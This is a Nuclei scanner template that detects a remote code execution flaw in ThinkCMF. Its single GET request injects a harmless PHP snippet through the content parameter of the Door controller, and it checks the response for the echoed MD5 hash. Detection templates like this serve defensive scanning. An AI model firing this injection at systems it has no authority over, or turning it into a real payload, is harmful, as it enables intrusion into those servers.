nuclei-templates/http/vulnerabilities/thinkcmf/thinkcmf-arbitrary-code-execution.yaml

id: thinkcmf-arbitrary-code-execution

info:
  name: ThinkCMF - Remote Code Execution
  author: pikpikcu
  severity: high
  description: ThinkCMF is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://www.shuzhiduo.com/A/l1dygr36Je/
  metadata:
    max-request: 1
  tags: thinkcmf,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF');"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "d9b2c63a497e2f30c4ad9ad083a00691"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220587155bcc113414f971ad4507715ec3670c7ce07403b3906c5d057b86e12d4f902210083e18abf1fdec7b6bd974ff371b9c93e1de2f210a8f3056575f2948932c1d4a2:922c64590222798bb761d5b6d8e72950